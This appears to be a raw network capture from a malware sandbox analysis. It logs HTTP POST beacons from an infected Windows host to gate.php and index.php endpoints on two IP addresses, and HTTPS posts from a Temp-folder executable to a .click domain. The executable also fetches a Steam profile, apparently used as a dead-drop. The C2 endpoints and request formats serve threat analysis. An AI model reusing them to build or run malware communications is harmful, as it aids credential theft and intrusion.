Dec 14, 2024 14:58:32.722018003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	50269	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:31.935657978 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:32.059658051 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:33.426938057 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	50270	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:33.671971083 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:33.792203903 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:35.326515913 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:34 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50272	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:34.588835955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:58:35.927769899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	50273	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:35.574069023 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:35.704751968 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:37.174447060 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	50274	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:37.426616907 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:37.547194958 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:39.098798990 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	50275	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:37.639331102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:58:38.976023912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:58:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50276	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:58:39.360003948 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:58:39.480226040 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:58:41.306569099 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:58:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49977	23.55.153.106	443

Timestamp	Bytes transferred	Direction	Data
2024-12-14 13:56:59 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-14 13:57:00 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 14 Dec 2024 13:56:59 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=7177012aaecde7aeb5c1326f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-14 13:57:00 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-14 13:57:00 UTC	10097	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-14 13:57:00 UTC	10555	IN	Data Raw: 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: ;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":&qu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	50009	104.21.35.43	443	4592	C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 13:57:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fightlsoser.click
2024-12-14 13:57:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-14 13:57:03 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 13:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cc14dah3lbifm6q6e3pdvju72g; expires=Wed, 09-Apr-2025 07:43:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3MCKpljrZ%2F0%2B1sfl2RaHe7tzLu5DEbRtqHBO3PLlQPGJSrRr%2BqjneydDfyxh1gvYflZlwcvD8XwCZG%2BR%2FzMYkrSc1ujWToK62cS0rKsxEZGr54GLBWv1%2F68qC4MLOkszXQIa1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1eb3648d2d4328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1745&min_rtt=1740&rtt_var=663&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1638608&cwnd=220&unsent_bytes=0&cid=46588cdbfa7fc45b&ts=1067&x=0"
2024-12-14 13:57:03 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-14 13:57:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	50036	23.55.153.106	443	4592	C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 13:57:07 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-14 13:57:07 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 14 Dec 2024 13:57:07 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=904c4b9bac7728fd434a571d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-14 13:57:07 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-14 13:57:07 UTC	10097	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-14 13:57:07 UTC	10555	IN	Data Raw: 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: ;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":&qu

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	50229	104.21.35.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-14 13:57:58 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fightlsoser.click
2024-12-14 13:57:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-14 13:57:58 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 13:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=12u33323cemvtg0rfgerbq030d; expires=Wed, 09-Apr-2025 07:44:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p4xeUjZCkgnmUGfYj9E4BfnG423RFEeZjrYiBJUZ9H3jYRxgLMcCKlGv8xTH%2FlA9v0r9jl68VhtMEqy9u2NIfPqM3dj09ejrHbFLS59D7iW0cKVuvQ0%2FH9a4MwigcGpihbgi6g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1eb4c098236a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2372&min_rtt=2371&rtt_var=892&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1224832&cwnd=186&unsent_bytes=0&cid=a271eacca2640e1c&ts=749&x=0"
2024-12-14 13:57:58 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-14 13:57:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	50233	23.55.153.106	443

Timestamp	Bytes transferred	Direction	Data
2024-12-14 13:58:01 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-14 13:58:02 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 14 Dec 2024 13:58:02 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=4b5f065ab55bfe4e10fca0d8; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-14 13:58:02 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-14 13:58:02 UTC	10097	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
